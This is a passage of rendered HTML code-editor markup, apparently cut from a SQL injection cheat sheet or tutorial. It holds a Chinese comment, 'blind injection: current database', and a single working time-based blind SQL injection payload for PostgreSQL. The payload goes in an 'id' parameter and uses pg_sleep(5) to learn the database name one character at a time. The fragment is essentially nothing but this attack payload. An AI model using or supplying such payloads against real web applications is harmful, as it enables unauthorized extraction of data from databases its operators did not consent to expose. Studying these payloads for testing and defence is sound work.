tion"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-comment">###### 盲注当前数据库</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="">?</span><span class="">id</span><span class="">=</span><span class="cm-variable">a</span><span class="">' and (select case when((ascii(substring((select current_database()),1,1))) = 116) then pg_sleep(5) else null end) is null</span></span></pre><pre clas